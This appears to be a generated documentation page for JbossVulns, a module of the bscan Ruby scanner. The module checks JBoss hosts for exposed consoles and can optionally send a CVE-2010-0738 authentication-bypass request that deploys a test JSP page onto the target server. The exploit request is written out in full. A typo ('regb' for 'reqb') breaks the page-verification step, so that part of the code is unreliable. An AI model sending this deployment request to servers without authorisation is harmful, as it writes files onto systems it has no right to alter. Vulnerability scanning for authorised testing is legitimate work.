Module: JbossVulns

Defined in:
lib/bscan/modules/jboss_vulns.rb

Overview

Copyright © 2015, Oleg Gryb

All rights reserved.

Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

Instance Method Summary collapse

Instance Method Details

#run(*args) ⇒ Object 



15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
 
# File 'lib/bscan/modules/jboss_vulns.rb', line 15

def run *args
  @prop_pref = 'bscan.jboss_vulns.'
  @prop_pref += args[2] + '.' if args[2] && args[2].length > 0
  @mid = args[2]?"JbossVulns.#{args[2]}.":'JbossVulns.' 
  begin
    injectf = get_par 'inject_page', true
    hostports = get_par 'hostport',nil,true
    raise "'hostport' param must be provided" if not hostports
    hostports = [hostports] if not hostports.kind_of?(Array)
    
    hostports.each do |hp|
      host,port,proto = hp.split(':', 3)
      port = '80' if not port
      port = port.to_i
      proto = (port == 443 ? 'https':'http') if not proto
      https = (proto == 'https')

      Log 2, "#{@mid}run input: #{host} #{port} #{proto} #{injectf}"
      
      url = "#{proto}://#{host}:#{port}"
      
      reqb = "GET /jmx-console HTTP/1.1\r\n"
      reqe = "Host: #{host}:#{port}\r\n" +
             "User-Agent: Mozilla/5.0 (X11; Linux i686; rv:14.0) Gecko/20100101 Firefox/14.0.1\r\n\r\n"
      issue = Issue.new "#{@mid.chop}: JBoss Vuln Found", url, "Low", "Firm", nil, nil,nil 

      rsp = make_request_socket host, port, https, reqb + reqe
      Log 2, "#{@mid}run jmx-console: #{reqb + reqe} #{rsp}"
      status = $1 if rsp =~ /^HTTP\/[^\s]+\s+(\d\d\d)/i
      if status != '404'
        issue.issue_detail = "/jmx-console is enabled"
        issue.url = url + "/jmx-console"
        issue.http_messages = [Message.new(reqb+reqe,rsp)]
        write_issue_state issue
      end   

      reqb = "GET /web-console HTTP/1.1\r\n"
      rsp = make_request_socket host, port, https, reqb + reqe
      Log 2, "#{@mid}run web-console: #{reqb+reqe} #{rsp}"
      status = $1 if rsp =~ /^HTTP\/[^\s]+\s+(\d\d\d)/i
      if status != '404'
        issue.issue_detail = "/web-console is enabled"
        issue.url = url + "/web-console"
        issue.http_messages = [Message.new(reqb+reqe,rsp)]
        write_issue_state issue
      end   
      if injectf
        reqb = "HEAD /jmx-console/HtmlAdaptor?action=invokeOpByName&" +
        "name=jboss.admin:service=DeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=hello.war&"+
        "argType=java.lang.String&arg1=hello&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&"+
        "arg3=%3CHTML%3E%3CBODY%3EHello%2C%20we've%20got%20a%20problem%20here!%3C%2FBODY%3E%3C%2FHTML%3E&argType=boolean&arg4=True "+
        "HTTP/1.1\r\n"
        Log 2, "#{@mid}run trying to inject hello: #{reqb+reqe} #{rsp}"
        rsp = make_request_socket host, port, https, reqb + reqe
        status = $1 if rsp =~ /^HTTP\/[^\s]+\s+(\d\d\d)/i
        if status != '404' 
          regb = "GET /hello/hello.jsp HTTP/1.1\r\n"
          rsp = make_request_socket host, port, https, reqb + reqe
          if status == '200'
            issue.severity = 'Critical'
            issue.url = url + "/hello/hello.jsp"
            issue.issue_detail = "This JBoss instance is vulnerable to authentication by-pass and arbitrary code injection " +
                                  "as described here: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0738 "+
                                  "A test page has been injected at the following location: #{issue.url}"
            issue.http_messages = [Message.new(reqb+reqe,rsp)]
            write_issue_state issue
          end
        end
       end
      end   
  rescue Exception => e
     Log 0, "#{@mid}run Exception: #{e.message}"
     Log 0, e.backtrace.join("\n")  
  end
end